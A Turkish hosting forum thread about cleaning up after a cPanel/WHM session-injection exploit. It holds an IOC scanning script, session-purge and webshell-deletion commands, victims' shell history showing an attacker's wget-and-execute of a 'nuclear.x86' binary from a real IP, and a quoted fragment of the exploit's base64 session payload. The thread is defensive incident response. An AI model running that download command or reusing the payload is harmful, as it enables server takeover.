• 30-04-2026, 14:03:36
    #1
    Merhaba,

    Malum konuyu herkes biliyordur diye düşünüyorum ancak net çözümler ve adımlar noktasında herkes farklı şeyler söylüyor.
    Adım adım yapılması gerekenleri iletmek istedim herkese. Umarım ciddi sorunlar yaşamamış ve bu konuyu hasarsız atlatabilmişsinizdir.

    ilk olarak cpanel/WHM güncellemesini yapalım;
    /scripts/upcp --force
    Versiyon kontrolü ve restart edelim. Burada rebootta edebilirsiniz.
    /usr/local/cpanel/cpanel -V
    /scripts/restartsrv_cpsrvd
    WHM Bilgileri alınmış ve WHM erişimi yapamayan kişiler giriş yaparken eğer sayfa yenileniyor ve erişiminiz olmuyor ise SSH'tan
    whmlogin
    diyerek url ile giriş yapabilirsiniz.
    Eğer 2087 portuna erişemiyorsanız veri merkeziniz 2087 portunu kapatmış olabilir. bu noktada whm.siteadi.com olarak erişin url yi güncelleyerek erişin.

    Diğer adımlar.
    cPanel'in tespit kısmı önemli bir .sh dosyası kesinlikle yapmanız bakmanız gereklidir.
    cd /root
    nano ioc_checksessions_files.sh
    #!/bin/bash # Scan for compromised session files
    SESSIONS_DIR="/var/cpanel/sessions" COMPROMISED=0
    echo "[*] Scanning session files for injection indicators..."
    for session_file in "$SESSIONS_DIR"/raw/*; do [ -f "$session_file" ] || continue session_name=$(basename "$session_file") # Check if this session is/was pre-auth preauth_file="$SESSIONS_DIR/preauth/$session_name" # IOC 0: Session has both token_denied AND cp_security_token and method=badpass origin (strong indicator of exploitation) # # token_denied is set by do_token_denied() in cpsrvd when a request # supplies an incorrect security token. cp_security_token is the # attacker-injected token value. This combination indicates: # # 1. Attacker injected a cp_security_token via newline payload # 2. Attacker attempted to use the injected token # 3. cpsrvd recorded the token mismatch (token_denied counter) # during the exploitation window before the session was # fully promoted # # In a legitimate session: # - token_denied is only present after a user-initiated # security token failure (rare, typically from expired bookmarks) # - It would never co-exist with a badpass origin AND an # attacker-controlled cp_security_token # # This IOC catches BOTH successful and failed exploitation attempts. if grep -q '^token_denied=' "$session_file" && \ grep -q '^cp_security_token=' "$session_file"; then # Extract values for triage context token_val=$(grep '^cp_security_token=' "$session_file" | head -1 | cut -d= -f2) denied_val=$(grep '^token_denied=' "$session_file" | head -1 | cut -d= -f2) origin=$(grep '^origin_as_string=' "$session_file" | head -1 | cut -d= -f2-) used=$(grep -a "$token_val" /usr/local/cpanel/logs/access_log | grep -m1 " 200 ") external_auth=$(grep '^successful_external_auth_with_timestamp=' "$session_file") # High confidence if origin is badpass (session was pre-auth) if grep -q '^origin_as_string=.*method=badpass' "$session_file"; then if [ -z "$external_auth" ] && [ -z "$used" ]; then echo "Found possible injected session file: $session_file" echo " - No sign of usage" else echo "[!] CRITICAL: Exploitation artifact - token_denied with injected cp_security_token: $session_file" echo " - cp_security_token=$token_val" echo " - token_denied=$denied_val" echo " - origin=$origin" echo " - Verdict: Session was pre-auth (badpass origin) with attacker-injected token" echo " - USED: $used" COMPROMISED=1 fi # Medium confidence but still suspicious for any session else echo "[!] WARNING: Suspicious session with token_denied + cp_security_token: $session_file" echo " - cp_security_token=$token_val" echo " - token_denied=$denied_val" echo " - origin=$origin" echo " - Review manually: may be legitimate token expiration or exploitation attempt" fi fi # IOC 1: Pre-auth session with authenticated attributes if [ -f "$preauth_file" ]; then if grep -qE '^successful_external_auth_with_timestamp=' "$session_file"; then echo "[!] CRITICAL: Injected session detected: $session_file" echo " - Contains 'successful_external_auth_with_timestamp' in pre-auth session" COMPROMISED=1 fi fi # IOC 2: Any session with tfa_verified but no valid origin if grep -q '^tfa_verified=1' "$session_file" && \ ! grep -q '^origin_as_string=.*method=handle_form_login' "$session_file" && \ ! grep -q '^origin_as_string=.*method=create_user_session' "$session_file" && \ ! grep -q '^origin_as_string=.*method=handle_auth_transfer' "$session_file"; then echo "[!] WARNING: Session with tfa_verified but suspicious origin: $session_file" COMPROMISED=1 fi # IOC 3: Password field containing newlines (corrupted session file) if grep -qP '^pass=.*\n.' "$session_file" 2>/dev/null; then echo "[!] CRITICAL: Multi-line pass value detected: $session_file" COMPROMISED=1 fi done
    if [ "$COMPROMISED" -eq 0 ]; then    echo ""    echo "[+] No indicators of compromise found." else    echo ""    echo "[!] INDICATORS OF COMPROMISE DETECTED - IMMEDIATE ACTION REQUIRED"    echo "    1. Purge all affected sessions"    echo "    2. Force password reset for root and all WHM users"    echo "    3. Audit /var/log/wtmp and WHM access logs for unauthorized access"    echo "    4. Check for persistence mechanisms (cron, SSH keys, backdoors)" fi
    ctrl x + y Enter
    Ardından çalıştır.
    /bin/bash ./ioc_checksessions_files.sh
    Varsayalım ki birçok IP adresi çıktı. Bu IP adreslerinin nasıl login olduğu neyle girdiği nası olduğu net olarak görünür olmalıdır. Python yazanlar sc yazarak girmiştir veya mozilla veya apple erişimleride bu çerez kullanımı zafiyetiyle alakalıdır.
    Bu noktada şunun yapılması çok ama çok önemlidir. Aşağıdaki kodlar ile backup alıp sessionları sonrasında tüm erişimleri düşürmeniz gereklidir.
    mkdir -p /root/session-backup-$(date +%F-%H%M);
    cp -a /var/cpanel/sessions/raw /root/session-backup-$(date +%F-%H%M)/ 2>/dev/null;
    cp -a /var/cpanel/sessions/preauth /root/session-backup-$(date +%F-%H%M)/ 2>/dev/null;
     
    rm -f /var/cpanel/sessions/raw/*;
    rm -f /var/cpanel/sessions/preauth/*;
     
    /scripts/restartsrv_cpsrvd;
    /scripts/restartsrv_cpdavd;
    Bunuda yaptıktan sonra hemen hemen kurtuldunuz ancak önemli bir konuya daha gelelim.
    Sunucuma hiç bulaşmadı diyen arkadaşlar var ise burayı dikkatle kontrol etsin.
    Sorun sabah 5 ila 5.30 arasında cpanel tarafında yayınlandı ve bu süreçte saldırganlar harekete geçtiler.
    Bu süreçte webshell atıp backdoor bırakılan web siteleri çok fazla. Hatta wordpress login kullanıcısı açıp bırakanlarda çok fazla.
    Bunların hepsinde PHP dosyalarıyla gelmişler. Örnek görseldeki gibi. (


    Şimdi bunları kontrol etmeniz lazım home klasörü içerisinde tüm dosyalarınızda aşağıdaki komut ile 360 time ayarını 7 8 saat önceye yani 30.04.2026 sabah 5'ten yada 3'ten itibaren olucak şekilde saati ayarlayıp tarama yapın. Ben 520 dakika öncesine göre veriyorum size.
    find /home -type f -name "*.php" -mmin -520
    Daha detaylı tarama eklentileri dahil etmeden.
    find /home -type f -name "*.php" -mmin -360 \
    ! -path "*/wp-admin/*" \
    ! -path "*/wp-includes/*"
    Sadece küçük dosyaları kontrol etmek için veya kb belirtmek içinde aşağıdaki kodu yapabilirsiniz.
    find /home -type f -name "*.php" -mmin -360 -size -200k
    Ardından silme işlemi için aşağıdaki komutu kullanabilirsiniz. Burada eklenti veya farklı dossya yollarını ellemesini istemiyorsanız editleyip kullanabilirsiniz.
    find /home -type f -name "*.php" -mmin -360 \
    ! -path "*/wp-content/imunify-security/*" \
    ! -path "*/wp-content/wflogs/*" \
    -exec rm -f {} \;
    Bu kod .php dosyalarını silecektir dikkatli kullanmanızı tavsiye ederim.
    Genel manada webshell tarafından ve whm session tarafından kurtulmuş oldunuz.
    Bu süreçte sunucu genelinde temizledikten sonra aktif işlem var mı yok mu kontrol edin bir süre.
    watch -n 5 "find /home -type f -name '*.php' -mmin -5"
    Cron ve ssh key tarafınıda kontrol etmenizde fayda var.
    Haricinde SSH tarafında yapılan güncelleme dışında WHM'de "Upgrade to Latest Version" olan güncellemeyide her ihtimale karşı yapmanızı tavsiye ederim.

    WHM ve diğer portları dışarıya kapatmak için.
    whmapi1 configureservice service=cpsrvd enabled=0 monitored=0 && whmapi1 configureservice service=cpdavd enabled=0 monitored=0 && /scripts/restartsrv_cpsrvd --stop && /scripts/restartsrv_cpdavd --stop
    Yeniden Açmak İçin :
    whmapi1 configureservice service=cpsrvd enabled=1 monitored=1 && \
    whmapi1 configureservice service=cpdavd enabled=1 monitored=1 && \
    /scripts/restartsrv_cpsrvd && \
    /scripts/restartsrv_cpdavd
    Bu işlemleri yaptıktan sonra saldırı için python aracı yazdım ve kontrol ettim.
    Erişim gerçekleşmedi ancak ilerleyen saatlerde neler olur bilinmez. Bu yüzden cPanel'in yayınladığı CVE Makalesini takip etmenizi tavsiye ederim:

    Ekstra kontroller :

    Dış Bağlantı Network Kontrolü
    Sunucunun dışarıya şüpheli bağlantı kurup kurmadığını kontrol edin:
    lsof -i -n -P
    Alternatif:
    ss -tulpn
    Tanımadığınız IP bağlantıları varsa mutlaka kontrol edilmelidir.


    SSH Key Kontrolü :
    Saldırganlar genelde kalıcı erişim için SSH key bırakır:
    cat /root/.ssh/authorized_keys
    Şüpheli key varsa silinmelidir.


    Cron Controlü :
    Root ve sistem cronları kontrol edilmelidir:
    crontab -l
    ls -la /etc/cron*
    Kullanıcı bazlı cronlar için:
    for user in $(cut -f1 -d: /etc/passwd); do
    crontab -u $user -l 2>/dev/null
    done
    Exploit İz Kontrolü :
    Saldırının izlerini görmek için:
    grep -i "json-api" /usr/local/cpanel/logs/access_log
    grep -i "POST" /usr/local/apache/domlogs/*
    Şüpheli erişimler burada görülebilir.


    Aktif Proccess (RAM ) Kontrolü :
    Bazı zararlılar dosya bırakmaz, sadece RAM üzerinde çalışır. Bu yüzden process kontrolü yapılmalıdır.
    ps aux --sort=-%mem | head
    Ayrıca daha detaylı kontrol için:
    ps aux | grep -v root
    Tekrardan herkese geçmiş olsun.
    Umarım daha büyük sorunlar yaşamayız.
    Taha Mumcu
  • 30-04-2026, 14:26:12
    #2
    [root@serversite ~]# find /home -type f -name "*.php" -mmin -720 \
    > ! -path "*/cache/*" \
    > ! -path "*/var/cache/*"
    [root@serversite ~]#
    Bu şekilde bir arama yaptığım zaman sonuç çıkmıyor.

    fakat history de

      946  2026-04-30 13:03:59 wget http://87.121.84.78/nuclear.x86; chmod 777 nuclear.x86; ./nuclear.x86 xd; rm -rf nuclear.x86 ; echo __CMD_DONE_1777543440072006405__
    Böyle bir şey var.
  • 30-04-2026, 14:30:14
    #3
    OguzhanLevent adlı üyeden alıntı: mesajı görüntüle
    [root@serversite ~]# find /home -type f -name "*.php" -mmin -720 \
    > ! -path "*/cache/*" \
    > ! -path "*/var/cache/*"
    [root@serversite ~]#
    Bu şekilde bir arama yaptığım zaman sonuç çıkmıyor.

    fakat history de

      946  2026-04-30 13:03:59 wget http://87.121.84.78/nuclear.x86; chmod 777 nuclear.x86; ./nuclear.x86 xd; rm -rf nuclear.x86 ; echo __CMD_DONE_1777543440072006405__
    Böyle bir şey var.
    Sunucunda direk payload çalıştırılmış.
    dış erişimi tamamen kesip sunucu yedeğini bulmanda fayda var.
    Hizmet aldığın sağlayıcı ile görüşüp yedek noktasında bilgi almanı ve 1-2 gün önceye dönmeni tavsiye ederim.
    Aksi takdirde ne yaparsan yap tamamen kurtulman çok zor çünkü zararlı bir binary çalıştırılmış durumda. Bu noktada yedekten geri dönmek doğru seçenek olacaktır.
  • 30-04-2026, 14:31:50
    #4
    CoderFunny adlı üyeden alıntı: mesajı görüntüle
    Sunucunda direk payload çalıştırılmış.
    dış erişimi tamamen kesip sunucu yedeğini bulmanda fayda var.
    Hizmet aldığın sağlayıcı ile görüşüp yedek noktasında bilgi almanı ve 1-2 gün önceye dönmeni tavsiye ederim.
    Aksi takdirde ne yaparsan yap tamamen kurtulman çok zor çünkü zararlı bir binary çalıştırılmış durumda. Bu noktada yedekten geri dönmek doğru seçenek olacaktır.
    Sabah 6 ya ait yedeğim var fakat enfektenin ne kadar eskiye dayandığını bilmiyorum incelediğimde 07:00 dan sonra olduğunu görmüştüm. Root şifresini değiştirdim ve whm güncelleme yapabildim yalnızca, bir de bu kadar teknik bilgiye sahip değilim orası ayrı.
  • 30-04-2026, 14:32:53
    #5
    OguzhanLevent adlı üyeden alıntı: mesajı görüntüle
    Sabah 6 ya ait yedeğim var fakat enfektenin ne kadar eskiye dayandığını bilmiyorum incelediğimde 07:00 dan sonra olduğunu görmüştüm. Root şifresini değiştirdim ve whm güncelleme yapabildim yalnızca, bir de bu kadar teknik bilgiye sahip değilim orası ayrı.
    Wget saat 1'de çalıştırılmış görünüyor.
    Yani tam 1 saat önce. Bu noktada sabah 6 ya dönüp whm güncellemesi yapman mantıklı bir seçenek olur.
  • 30-04-2026, 14:35:11
    #6
    CoderFunny adlı üyeden alıntı: mesajı görüntüle
    Wget saat 1'de çalıştırılmış görünüyor.
    Yani tam 1 saat önce. Bu noktada sabah 6 ya dönüp whm güncellemesi yapman mantıklı bir seçenek olur.
    İlgili adresi csf üzerinden engellemek geçici bir çözüm olur mu? Çünkü çalıştığım Adminler şuan müsait değiller onlar da bu sorunla farklı şirketlerde uğraşıyorlar anladığım kadarıyla veya bana direk ip adresim haricinde whm erişimini nasıl kısıtlayabileceğimin bilgisini verebilir misiniz?

    İlk bağlantı 9 da olmuş sanırım:
      894  2026-04-30 09:50:07 wget http://87.121.84.78/nuclear.x86; chmod 777 nuclear.x86; ./nuclear.x86 xd; rm -rf nuclear.x86 ; echo __CMD_DONE_1777531807081275437__
      895  2026-04-30 09:54:22 wget http://87.121.84.78/nuclear.x86; chmod 777 nuclear.x86; ./nuclear.x86 xd; rm -rf nuclear.x86 ; echo __CMD_DONE_1777532062616074040__
      896  2026-04-30 10:18:03 wget http://87.121.84.78/nuclear.x86; chmod 777 nuclear.x86; ./nuclear.x86 xd; rm -rf nuclear.x86 ; echo __CMD_DONE_1777533483195992255__
      897  2026-04-30 10:35:43 wget http://87.121.84.78/nuclear.x86; chmod 777 nuclear.x86; ./nuclear.x86 xd; rm -rf nuclear.x86 ; echo __CMD_DONE_1777534543402046613__
      898  2026-04-30 10:37:28 wget http://87.121.84.78/nuclear.x86; chmod 777 nuclear.x86; ./nuclear.x86 xd; rm -rf nuclear.x86 ; echo __CMD_DONE_1777534648937097199__
      899  2026-04-30 10:49:13 wget http://87.121.84.78/nuclear.x86; chmod 777 nuclear.x86; ./nuclear.x86 xd; rm -rf nuclear.x86 ; echo __CMD_DONE_1777535354279018375__
  • 30-04-2026, 14:35:58
    #7
    Meta Reklamları Uzmanı
    3 Aydır çalışan bir zeroday exploit yazılan çok basit bir şekilde yazılmış bir kod "
    PAYLOAD_B64 = (
    "cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0a F90aW1lc3RhbXA9OTk5"
    "OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0Ka GFzcm9vdD0x"
    )

    def parse_target(url):
    u = urllib.parse.urlsplit(url.rstrip("/"))
    return u.scheme, u.hostname, u.port or 2087" Gibi bakınca komik gelen bir kod watchtowr detaylı bir şekilde tam olarak nasıl temizleyeceğinize dair tools yazmış bile dikkat etmek lazım
  • 30-04-2026, 14:37:53
    #8
    OguzhanLevent adlı üyeden alıntı: mesajı görüntüle
    İlgili adresi csf üzerinden engellemek geçici bir çözüm olur mu? Çünkü çalıştığım Adminler şuan müsait değiller onlar da bu sorunla farklı şirketlerde uğraşıyorlar anladığım kadarıyla veya bana direk ip adresim haricinde whm erişimini nasıl kısıtlayabileceğimin bilgisini verebilir misiniz?

    İlk bağlantı 9 da olmuş sanırım:
      894  2026-04-30 09:50:07 wget http://87.121.84.78/nuclear.x86; chmod 777 nuclear.x86; ./nuclear.x86 xd; rm -rf nuclear.x86 ; echo __CMD_DONE_1777531807081275437__
      895  2026-04-30 09:54:22 wget http://87.121.84.78/nuclear.x86; chmod 777 nuclear.x86; ./nuclear.x86 xd; rm -rf nuclear.x86 ; echo __CMD_DONE_1777532062616074040__
      896  2026-04-30 10:18:03 wget http://87.121.84.78/nuclear.x86; chmod 777 nuclear.x86; ./nuclear.x86 xd; rm -rf nuclear.x86 ; echo __CMD_DONE_1777533483195992255__
      897  2026-04-30 10:35:43 wget http://87.121.84.78/nuclear.x86; chmod 777 nuclear.x86; ./nuclear.x86 xd; rm -rf nuclear.x86 ; echo __CMD_DONE_1777534543402046613__
      898  2026-04-30 10:37:28 wget http://87.121.84.78/nuclear.x86; chmod 777 nuclear.x86; ./nuclear.x86 xd; rm -rf nuclear.x86 ; echo __CMD_DONE_1777534648937097199__
      899  2026-04-30 10:49:13 wget http://87.121.84.78/nuclear.x86; chmod 777 nuclear.x86; ./nuclear.x86 xd; rm -rf nuclear.x86 ; echo __CMD_DONE_1777535354279018375__
    Engellemek çözüm olmaz wget sonucunda çalıştırılmış görünüyor.
    Yedekten geri dönmeniz daha sağlıklı
  • 30-04-2026, 14:38:58
    #9
    tekinsavage adlı üyeden alıntı: mesajı görüntüle
    3 Aydır çalışan bir zeroday exploit yazılan çok basit bir şekilde yazılmış bir kod "
    PAYLOAD_B64 = (
    "cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0a F90aW1lc3RhbXA9OTk5"
    "OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0Ka GFzcm9vdD0x"
    )

    def parse_target(url):
    u = urllib.parse.urlsplit(url.rstrip("/"))
    return u.scheme, u.hostname, u.port or 2087" Gibi bakınca komik gelen bir kod watchtowr detaylı bir şekilde tam olarak nasıl temizleyeceğinize dair tools yazmış bile dikkat etmek lazım
    Detaylı şekilde nasıl temizleyebiliriz?